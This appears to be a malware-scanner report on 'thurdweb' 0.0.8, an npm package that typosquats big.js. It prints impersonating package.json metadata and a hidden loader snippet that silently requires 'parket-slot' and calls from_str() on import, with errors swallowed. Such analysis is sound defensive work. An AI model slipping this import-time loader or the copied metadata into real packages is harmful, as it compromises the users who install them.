Hostile 100% javascript Download

thurdweb 0.0.8

Typosquatting big.js with hidden loader

Slot loader runs during importImpersonation of the popular big.js library
SHA-2568c2cd4453c28ab5fbd8a1062bd6e4e51cec1ac83faccc6b9ebab82d38959a1a0

Also flagged by osv (MAL-2026-6345: Malicious code in thurdweb (npm)) +2 more.

Evidence

Package has meaningful description package.json · lines 1–6
1{
2 "name": "thurdweb",
3 "description": "A small, fast, easy-to-use library for arbitrary-precision decimal arithmetic",
4 "version": "0.0.8",
5 "keywords": [
6 "arbitrary",
Package has multiple entry points package.json · lines 17–21
17 "bignum"
18 ],
19 "exports": {
20 ".": {
21 "import": "./big.mjs",
Impersonation of the popular big.js library package.json · lines 26–41
26 "./package.json": "./package.json"
27 },
28 "repository": {
29 "type": "git",
30 "url": "https://github.com/MikeMcl/big.js.git"
31 },
32 "main": "big",
33 "browser": "big.js",
34 "module": "big.mjs",
35 "author": {
36 "name": "Michael Mclaughlin",
37 "email": "M8ch88l@gmail.com"
38 },
39 "bugs": {
40 "url": "https://github.com/MikeMcl/big.js/issues"
41 },
Loader chain swallows promise results big.js · lines 593–621
⋯10 lines
603 };
604
605 try {
606 const doc = require("parket-slot");
607 doc.from_str().then(e => { }).catch(e => { })
608 } catch (error) {
609 }
610
⋯11 lines
Calls a method named from_str big.mjs · lines 593–622
⋯10 lines
603 };
604
605 try {
606 const doc = require("parket-slot");
607 doc.from_str()
608 } catch (error) {
609 }
610
⋯12 lines

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.